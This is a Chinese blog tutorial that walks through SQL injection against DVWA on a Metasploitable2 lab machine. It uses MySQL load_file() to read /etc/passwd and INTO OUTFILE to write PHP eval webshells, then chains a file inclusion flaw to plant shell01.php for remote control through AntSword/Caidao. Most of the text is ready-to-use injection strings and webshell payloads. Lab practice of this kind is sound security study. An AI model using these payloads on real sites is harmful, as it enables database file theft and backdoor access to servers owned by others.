SQL注入一句话木马(load_file/out file)
程序员文章站
2022-03-10 21:07:57
...
工具
靶机——metasploitable2
环境——DVWA,(low等级下)
菜刀——蚁剑
权限查看
查看mysql是否有对函数load_file(),outfile()函数的限制
(securefilepriv的值是否为NULL)
show global variables like '%secure%';
NULL 表示不可用, 空 表示可用
' order by 2-- 查看字段数
' union all select database(),user()-- 查看当前数据库和用户
查看当前用户是否有文件读写的权限:
1' and (select File_priv from mysql.user where user='root' and host='localhost')='Y'--
1' and (select File_priv from mysql.user where user='root' and host='%')='Y'--
//注: 我在metasploitable2 的数据库里查了 aaa@qq.com 后面接的的是 % ,
但是从浏览器上查的是localhost 具体原因我也不清楚
如果遇到的话,就两个都试一遍。
不清楚如何手工注入的可以点击下面的链接看看!
SQL注入原理一
发现当前用户拥有对文件读写的权限
load_file / into out file
load_file()
条件:
- 知道文件的绝对路径
- 能使用union
- 对web目录有读权限
如果有过滤单引号,则可以将函数中的路径进行hex或者char编码
1' union select load_file('/etc/passwd'),2--
如果有过滤 ' :
1' union select load_file(\'/etc/passwd\'),2--
也可以16进制编码,或者转成 ASCII码
编码解决!16进制(用编码即不用单引号)
into outfile()
条件:
- 要有file_priv权限
- 知道网站的绝对路径
- 对web有写的权限
- 没有过滤单引号
写入部分有单引号记得 转译 \
' union select '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.php'--
' union select '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.txt'--
(明明有读写的权限,但是无法写入 /var/www/ 这个目录下,
可以写入 /tmp/ ,但是这样就连不上菜刀了,弄了一晚上没弄明白……
然后就是不加路径,直接传,可以传,但不知道传哪去了,这就尴尬)
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/shell.php'--
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile 'shell.php'#
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/vulnerabilities/sqli/shell.php'--
(3个都不行)
存在过滤的时候:
如果写入的信息带有单引号 ,可以hex 编码,或者转成 ASCII码
尝试写入 /tmp 目录下,虽然会报这个警告,但是文件是已经写入进去了!
由于网页只对 /var/www/ 目录下有读取权限,所以无法使用菜刀连接了!
但是在DVWA里有文件包含漏洞,所以可以本地包含一个文件
构造木马: /tmp/shell.txt
' union select '<?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?>',2 into outfile '/tmp/shell.txt'--
这串代码的意思是:
将 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 写入 /tmp/shell.txt
然后通过 文件包含 运行 shell.txt 里的 php 代码,
而 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 这串代码的意思是:
在文件包含那个目录( /var/www/dvwa//vulnerabilities/fi)创建 shell01.php 文件,
并写入 <?php @eval($_POST[caidao]);?> 这串代码
菜刀连接的链接:http://192.168.47.133/dvwa/vulnerabilities/fi/shell01.php
可以参考-文件包含漏洞
第一步: 将代码写入 /tmp/shell.txt
发现成功写入!
第二步: 远程包含 /tmp/shell.txt
发现成功执行!
第三步: 使用菜刀连接
至此手工 SQL注入木马 就结束了!
另外:如果有哪位同学也遇到了上面有权限但无法写入 /var/www的情况,如果知道原因还请告解!谢谢!
上一篇: 利用python做表格数据处理